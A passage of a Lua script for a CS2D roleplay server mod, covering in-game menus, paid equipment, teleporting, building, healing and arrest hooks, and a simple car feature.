  888. if tele_sys == 1 then
  889. menu(id,[[Teleport Menu@b,Go to position|$5000,Set Current Position,Toggle Spawn Behavior (]]..tsb[id]..[[),]]..ct_57_b)
  890. else
  891. rp_msg2(id,[[255000000]],[[[RP] Teleport System is Disabled!]])
  892. end
  893. elseif sel == 6 then
  894. ls_1(id)
  895. elseif sel == 7 then
  896. rp_msg2(id,[[000255000]],[[[OG] Command: !bring <player>]])
  897. rp_msg2(id,[[000255000]],[[[OG] Command: !goto <player>]])
  898. rp_msg2(id,[[000255000]],[[[OG] Command: !rp_arrest <player>]])
  899. rp_msg2(id,[[000255000]],[[[OG] Command: !rp_free <player>]])
  900. rp_msg2(id,[[000255000]],[[[OG] Command: !rp_give_money <player> <money>]])
  901. rp_msg2(id,[[000255000]],[[[OG] Command: !rp_admin <word>]])
  902. rp_msg2(id,[[000255000]],[[[OG] Command: !item <id>]])
  903. elseif sel == 8 then
  904. udp_scar(id)
  905. menu(id,[[CT Menu Props,]]..s_car_b..[[]])
  906. end
  907. end
  908. if men == [[CT Menu Props]] then
  909. if sel == 1 then
  910. if pl_have_car[id]==0 then
  911. car_img_pos[id]=image([[gfx/gfx/CF_cars/rage.bmp]],1,1,1)
  912. imagepos(car_img_pos[id],player(id,[[x]]),player(id,[[y]]),player(id,[[rot]]))
  913. car_tx[id]=player(id,[[tilex]])
  914. car_ty[id]=player(id,[[tiley]])
  915. car_x[id]=player(id,[[x]])
  916. car_y[id]=player(id,[[y]])
  917. pl_have_car[id]=1
  918. elseif pl_have_car[id]==1 then
  919. if pic[id]>0 then
  920. parse([[customkill ]]..id..[[ Eject ]]..id)
  921. parse([[explosion ]]..car_x[id]..[[ ]]..car_y[id]..[[ 100 200 ]]..id)
  922. car_tx[id]=0
  923. car_ty[id]=0
  924. car_x[id]=0
  925. car_y[id]=0
  926. freeimage(car_img[id])
  927. else
  928. parse([[explosion ]]..car_x[id]..[[ ]]..car_y[id]..[[ 100 200 ]]..id)
  929. car_tx[id]=0
  930. car_ty[id]=0
  931. car_x[id]=0
  932. car_y[id]=0
  933. freeimage(car_img_pos[id])
  934. end
  935. pl_have_car[id]=0
  936. end
  937. end
  938. end
  939. if men == [[T Menu]] then
  940. if sel == 1 then
  941. menu(id,[[T Menu Insta Equip,Scout|$60000,Light Armor|$70000,Glock|$20000,Flashbang|$30000,Flare|20000]])
  942. elseif sel == 2 then
  943. rp_ct_arrest_button(id)
  944. if tele_sys == 1 then
  945. if rp_license[id]==true then
  946. menu(id,[[Teleport Menu@b,Go to position|$5000,Set Current Position,Toggle Spawn Behavior (]]..tsb[id]..[[),]]..ct_57_b)
  947. else
  948. rp_msg2(id,[[255000000]],[[[RP] You must to be licenced!]])
  949. end
  950. else
  951. rp_msg2(id,[[255000000]],[[[RP] Teleport System is now Disabled!]])
  952. end
  953. elseif sel == 3 then
  954. rp_msg2(id,[[000255000]],[[[RP] Press F1 To see the Help]])
  955. end
  956. end
  957. if men == [[T Menu Insta Equip]] then
  958. if sel == 1 then
  959. if rp_money[id]>=60000 then
  960. parse([[equip ]]..id..[[ 34]])
  961. rp_money[id]=rp_money[id]-60000
  962. else
  963. nmn(id)
  964. end
  965. elseif sel == 2 then
  966. if rp_money[id]>=70000 then
  967. parse([[equip ]]..id..[[ 79]])
  968. rp_money[id]=rp_money[id]-70000
  969. else
  970. nmn(id)
  971. end
  972. elseif sel == 3 then
  973. if rp_money[id]>=20000 then
  974. parse([[equip ]]..id..[[ 2]])
  975. rp_money[id]=rp_money[id]-20000
  976. else
  977. nmn(id)
  978. end
  979. elseif sel == 4 then
  980. if rp_money[id]>=30000 then
  981. parse([[equip ]]..id..[[ 52]])
  982. rp_money[id]=rp_money[id]-30000
  983. else
  984. nmn(id)
  985. end
  986. elseif sel == 5 then
  987. if rp_money[id]>=20000 then
  988. parse([[equip ]]..id..[[ 54]])
  989. rp_money[id]=rp_money[id]-20000
  990. else
  991. nmn(id)
  992. end
  993. end
  994. end
  995. if men == [[Teleport Menu]] then
  996. if sel == 1 then
  997. if player_have_pos[id]==true then
  998. if rp_money[id]>=5000 then
  999. parse([[setpos ]]..id..[[ ]]..tele_x[id]..[[ ]]..tele_y[id])
  1000. rp_money[id]=rp_money[id]-5000
  1001. updatehud(id)
  1002. else
  1003. nmn(id)
  1004. end
  1005. else
  1006. rp_msg2(id,[[255000000]],[[Not position stored!]])
  1007. end
  1008. elseif sel == 2 then
  1009. rp_msg2(id,[[000255000]],[[Position stored succesfully!]])
  1010. rp_msg2(id,[[000255000]],[[X: ]]..player(id,[[x]])..[[ Y: ]]..player(id,[[y]]))
  1011. tele_x[id] = player(id,[[x]])
  1012. tele_y[id] = player(id,[[y]])
  1013. player_have_pos[id]=true
  1014. elseif sel == 3 then
  1015. if player_have_pos[id]==true then
  1016. if tsb[id]==0 then
  1017. rp_msg2(id,[[000255000]],[[You will now spawn at Teleport position!@C]])
  1018. tsb[id]=1
  1019. elseif tsb[id]==1 then
  1020. rp_msg2(id,[[000255000]],[[You will now spawn normally!@C]])
  1021. tsb[id]=0
  1022. end
  1023. else
  1024. rp_msg2(id,[[255000000]],[[Not position stored!@C]])
  1025. end
  1026. elseif sel == 4 then
  1027. rp_msg2(id,[[000255000]],[[Use five-seven to arrest players!]])
  1028. arrest_x[id]=player(id,[[x]])
  1029. arrest_y[id]=player(id,[[y]])
  1030. end
  1031. end
  1032. if men == [[CT Menu Settings]] then
  1033. if sel == 1 then
  1034. if drop_system_m == 1 then
  1035. drop_system_m = 0
  1036. rp_msg([[255000000]],[[Drop system disabled. Called by ]]..player(id,[[name]])..[[@C]])
  1037. elseif drop_system_m == 0 then
  1038. drop_system_m = 1
  1039. rp_msg([[000255000]],[[Drop system enabled. Called by ]]..player(id,[[name]])..[[@C]])
  1040. end
  1041. set_men(id)
  1042. elseif sel == 2 then
  1043. if tele_sys == 1 then
  1044. tele_sys = 0
  1045. rp_msg([[255000000]],[[Teleport system disabled. Called by ]]..player(id,[[name]])..[[@C]])
  1046. elseif tele_sys == 0 then
  1047. tele_sys = 1
  1048. rp_msg([[000255000]],[[Drop system enabled. Called by ]]..player(id,[[name]])..[[@C]])
  1049. end
  1050. end
  1051. end
  1052. if men == [[CT Insta Equip Menu]] then
  1053. if sel == 1 then
  1054. if rp_money[id]>=10000 then
  1055. parse([[equip ]]..id..[[ 10]])
  1056. rp_money[id]=rp_money[id]-10000
  1057. else
  1058. nmn(id)
  1059. end
  1060. elseif sel == 2 then
  1061. if rp_money[id]>=20000 then
  1062. parse([[equip ]]..id..[[ 41]])
  1063. rp_money[id]=rp_money[id]-20000
  1064. else
  1065. nmn(id)
  1066. end
  1067. elseif sel == 3 then
  1068. if rp_money[id]>=50000 then
  1069. parse([[equip ]]..id..[[ 81]])
  1070. rp_money[id]=rp_money[id]-50000
  1071. else
  1072. nmn(id)
  1073. end
  1074. elseif sel == 4 then
  1075. if rp_money[id]>=10000 then
  1076. parse([[equip ]]..id..[[ 3]])
  1077. rp_money[id]=rp_money[id]-10000
  1078. else
  1079. nmn(id)
  1080. end
  1081. elseif sel == 5 then
  1082. if rp_money[id]>=25000 then
  1083. parse([[equip ]]..id..[[ 6]])
  1084. rp_money[id]=rp_money[id]-25000
  1085. else
  1086. nmn(id)
  1087. end
  1088. elseif sel == 6 then
  1089. if rp_money[id]>=30000 then
  1090. parse([[equip ]]..id..[[ 69]])
  1091. rp_money[id]=rp_money[id]-30000
  1092. else
  1093. nmn(id)
  1094. end
  1095. elseif sel == 7 then
  1096. if rp_money[id]>=50000 then
  1097. parse([[equip ]]..id..[[ 82]])
  1098. rp_money[id]=rp_money[id]-50000
  1099. else
  1100. nmn(id)
  1101. end
  1102. end
  1103. end
  1104. if men == [[Drop System]] then
  1105. if sel == 1 then
  1106. if rp_money[id]>= 100 then
  1107. parse([[spawnitem 66 ]]..x..[[ ]]..y)
  1108. rp_money[id]=rp_money[id]-100
  1109. else
  1110. nmn(id)
  1111. end
  1112. elseif sel == 2 then
  1113. if rp_money[id]>= 500 then
  1114. parse([[spawnitem 67 ]]..x..[[ ]]..y)
  1115. rp_money[id]=rp_money[id]-500
  1116. else
  1117. nmn(id)
  1118. end
  1119. elseif sel == 3 then
  1120. if rp_money[id]>= 1000 then
  1121. parse([[spawnitem 68 ]]..x..[[ ]]..y)
  1122. rp_money[id]=rp_money[id]-1000
  1123. else
  1124. nmn(id)
  1125. end
  1126. elseif sel == 4 then
  1127. if rp_money[id]>= 5000 then
  1128. for i = 1,5 do
  1129. parse([[spawnitem 68 ]]..x..[[ ]]..y)
  1130. rp_money[id]=rp_money[id]-1000
  1131. end
  1132. else
  1133. nmn(id)
  1134. end
  1135. elseif sel == 5 then
  1136. if rp_money[id]>= 10000 then
  1137. for i = 1,10 do
  1138. parse([[spawnitem 68 ]]..x..[[ ]]..y)
  1139. rp_money[id]=rp_money[id]-1000
  1140. end
  1141. else
  1142. mnm(id)
  1143. end
  1144. elseif sel == 6 then
  1145. if rp_money[id]>= 50000 then
  1146. for i = 1,50 do
  1147. parse([[spawnitem 68 ]]..x..[[ ]]..y)
  1148. rp_money[id]=rp_money[id]-1000
  1149. end
  1150. else
  1151. nmn(id)
  1152. end
  1153. elseif sel == 7 then
  1154. if rp_money[id]>= 100000 then
  1155. for i = 1,100 do
  1156. parse([[spawnitem 68 ]]..x..[[ ]]..y)
  1157. rp_money[id]=rp_money[id]-1000
  1158. end
  1159. else
  1160. nmn(id)
  1161. end
  1162. elseif sel == 8 then
  1163. if rp_license[id]==true then
  1164. rp_msg2(id,[[000255000]],[[Now you can drop an item!@C]])
  1165. rp_drop_item[id]=true
  1166. else
  1167. rp_msg2(id,[[255000000]],[[You must to be licensed to use this function!]])
  1168. end
  1169. end
  1170. end
  1171. updatehud(id)
  1172. end
  1173. function mlicense(id)
  1174. bf4_msg2(id,[[255000000]],[[You must to be licensed to build this!@C]])
  1175. end
  1176. addhook([[buildattempt]],[[rp_build]])
  1177. function rp_build(id,type,x,y)
  1178. if rp_ct[id]==true then
  1179. if rp_build_m[id]==1 then
  1180. if type == 8 then
  1181. if not entity(x,y,[[exists]]) then
  1182. parse([[spawnobject 12 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1183. return 1
  1184. end
  1185. elseif type == 21 then
  1186. return 0
  1187. else
  1188. if not entity(x,y,[[exists]]) then
  1189. parse([[spawnobject ]]..type..[[ ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1190. return 1
  1191. end
  1192. end
  1193. elseif rp_build_m[id]==2 then
  1194. if type == 8 then
  1195. if not entity(x,y,[[exists]]) then
  1196. parse([[spawnobject 12 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 0 ]]..id)
  1197. return 1
  1198. end
  1199. elseif type == 21 then
  1200. return 0
  1201. else
  1202. if not entity(x,y,[[exists]]) then
  1203. parse([[spawnobject ]]..type..[[ ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 0 ]]..id)
  1204. return 1
  1205. end
  1206. end
  1207. end
  1208. else
  1209. if type == 6 then
  1210. if rp_license[id]==true then
  1211. if rp_money[id]>= 1500 then
  1212. parse([[spawnobject 6 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1213. rp_money[id]=rp_money[id]-1500
  1214. else
  1215. nmn(id)
  1216. end
  1217. else
  1218. mlicense(id)
  1219. end
  1220. elseif type == 7 then
  1221. if rp_license[id]==true then
  1222. if rp_money[id]>= 5000 then
  1223. parse([[spawnobject 7 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1224. rp_money[id]=rp_money[id]-5000
  1225. else
  1226. nmn(id)
  1227. end
  1228. else
  1229. mlicense(id)
  1230. end
  1231. elseif type == 8 then
  1232. if rp_license[id]==true then
  1233. if rp_money[id]>=5000 then
  1234. parse([[spawnobject 8 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1235. rp_money[id]=rp_money[id]-5000
  1236. else
  1237. nmn(id)
  1238. end
  1239. else
  1240. mlicense(id)
  1241. end
  1242. elseif type == 9 then
  1243. if rp_license[id]==true then
  1244. if rp_money[id]>=5000 then
  1245. parse([[spawnobject 9 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1246. rp_money[id]=rp_money[id]-5000
  1247. else
  1248. nmn(id)
  1249. end
  1250. else
  1251. mlicense(id)
  1252. end
  1253. elseif type == 13 then
  1254. if rp_license[id]==true then
  1255. if rp_money[id]>=3000 then
  1256. parse([[spawnobject 13 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1257. rp_money[id]=rp_money[id]-3000
  1258. else
  1259. nmn(id)
  1260. end
  1261. else
  1262. mlicense(id)
  1263. end
  1264. elseif type == 14 then
  1265. if rp_license[id]==true then
  1266. if rp_money[id]>=3000 then
  1267. parse([[spawnobject 14 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1268. rp_money[id]=rp_money[id]-3000
  1269. else
  1270. nmn(id)
  1271. end
  1272. else
  1273. mlicense(id)
  1274. end
  1275. elseif type == 1 then
  1276. if rp_money[id]>=300 then
  1277. parse([[spawnobject 1 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1278. rp_money[id]=rp_money[id]-300
  1279. else
  1280. nmn(id)
  1281. end
  1282. elseif type == 2 then
  1283. if rp_money[id]>=500 then
  1284. parse([[spawnobject 2 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1285. rp_money[id]=rp_money[id]-500
  1286. else
  1287. nmn(id)
  1288. end
  1289. elseif type == 3 then
  1290. if rp_money[id]>=1000 then
  1291. parse([[spawnobject 3 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1292. rp_money[id]=rp_money[id]-1000
  1293. else
  1294. nmn(id)
  1295. end
  1296. elseif type == 4 then
  1297. if rp_money[id]>=2000 then
  1298. parse([[spawnobject 4 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1299. rp_money[id]=rp_money[id]-2000
  1300. else
  1301. nmn(id)
  1302. end
  1303. elseif type == 5 then
  1304. if rp_money[id]>=3000 then
  1305. parse([[spawnobject 5 ]]..x..[[ ]]..y..[[ ]]..player(id,[[rot]])..[[ 0 ]]..player(id,[[team]])..[[ ]]..id)
  1306. rp_money[id]=rp_money[id]-3000
  1307. else
  1308. nmn(id)
  1309. end
  1310. end
  1311. end
  1312. updatehud(id)
  1313. end
  1314. addhook([[spawn]],[[rp_spawn]])
  1315. function rp_spawn(id)
  1316. if rp_arrest[id]==false then
  1317. -- if tsb[id]==1 then
  1318. -- parse([[setpos ]]..id..[[ ]]..tele_x[id]..[[ ]]..tele_y[id])
  1319. -- end
  1320. else
  1321. return "50,74"
  1322. end
  1323. parse([[equip ]]..id..[[ 74]])
  1324. parse([[equip ]]..id..[[ 75]])
  1325. end
  1326. addhook([[hit]],[[rp_hit]])
  1327. function rp_hit(id,source,wpn,hpdmg)
  1328. if wpn == 45 then
  1329. rp_msg2(source,[[255000000]],[[This is a minning Laser!]])
  1330. return 1
  1331. elseif wpn == 5 then
  1332. rp_money[source]=rp_money[source]+100
  1333. rp_money[id]=rp_money[id]-100
  1334. updatehud(source)
  1335. updatehud(id)
  1336. return 1
  1337. elseif wpn == 6 then
  1338. if rp_ct[source]==true then
  1339. if arrest_x[source]>0 and arrest_y[source]>0 then
  1340. parse([[setpos ]]..id..[[ ]]..arrest_x[source]..[[ ]]..arrest_y[source])
  1341. else
  1342. rp_msg2(source,[[255000000]],[[Not position stored!]])
  1343. end
  1344. else
  1345. rp_msg2(source,[[255000000]],[[You cant arrest, you aren't CT]])
  1346. end
  1347. return 1
  1348. elseif wpn == 3 then
  1349. parse([[sethealth ]]..id..[[ ]]..player(id,[[health]])+math.random(10,20))
  1350. rp_msg2(id,[[255255000]],[[You have been healed by ]]..player(source,[[name]]))
  1351. return 1
  1352. elseif wpn == 46 then
  1353. parse([[sethealth ]]..id..[[ ]]..player(id,[[health]])+1)
  1354. return 1
  1355. elseif wpn == 86 then
  1356. parse([[sethealth ]]..id..[[ ]]..player(id,[[health]])+math.random(10,20))
  1357. return 1
  1358. elseif wpn == 31 then
  1359. if rp_ct[source]==true then
  1360. parse([[explosion ]]..player(id,[[x]])..[[ ]]..player(id,[[y]])..[[ 10 1000000 ]]..source)
  1361. return 1
  1362. end
  1363. elseif wpn == 21 then
  1364. rp_money[id]=rp_money[id]-50
  1365. rp_money[source]=rp_money[source]+50
  1366. return 1
  1367. elseif wpn == 75 then
  1368. if rp_money[source]>=100 then
  1369. rp_money[source]=rp_money[source]-100
  1370. rp_money[id]=rp_money[id]+100
  1371. return 1
  1372. else
  1373. nmn(source)
  1374. return 1
  1375. end
  1376. end
  1377. if isAdmin(id) then
  1378. return 1
  1379. end
  1380. updatehud(id)
  1381. if source ~= nil then
  1382. if player(source,[[exists]]) then
  1383. updatehud(source)
  1384. end
  1385. end
  1386. end
  1387. addhook([[projectile]],[[rp_projectile]])
  1388. function rp_projectile(id,wpn,x,y)
  1389. if wpn == 54 then
  1390. parse([[flasposition ]]..x..[[ ]]..y..[[ 500]])
  1391. elseif wpn == 53 then
  1392. parse([[setpos ]]..id..[[ ]]..x..[[ ]]..y)
  1393. end
  1394. if rp_ct[id]==true then
  1395. parse([[equip ]]..id..[[ ]]..wpn)
  1396. parse([[setweapon ]]..id..[[ ]]..wpn)
  1397. end
  1398. end
  1399. addhook([[use]],[[carmod_use]])
  1400. function carmod_use(id,event,data,x,y)
  1401. if event == 0 then
  1402. if pic[id] == 0 then
  1403. if player(id,[[tilex]])==car_tx[id] and player(id,[[tiley]])==car_ty[id] then
  1404. freeimage(car_img_pos[id])
  1405. pl_speed[id]=player(id,[[speedmod]])
  1406. car_img[id]=image([[gfx/gfx/CF_cars/rage.bmp]],1,1,200+id) -- 423 Coloque onde esta o img do carro
  1407. parse([[speedmod ]]..id..[[ -100]])
  1408. pic[id]=1
  1409. end
  1410. elseif pic[id]==1 then
  1411. freeimage(car_img[id])
  1412. parse([[speedmod ]]..id..[[ ]]..pl_speed[id])
  1413. car_tx[currentcar[id]]=player(id,[[tilex]])
  1414. car_ty[currentcar[id]]=player(id,[[tiley]])
  1415. car_img_pos[id]=image([[gfx/gfx/CF_cars/rage.bmp]],1,1,1) -- 423 Coloque onde esta o img do carro
  1416. imagepos(car_img_pos[id],player(id,[[x]]),player(id,[[y]]),player(id,[[rot]]))
  1417. pic[id]=0
  1418. end
  1419. end
  1420. end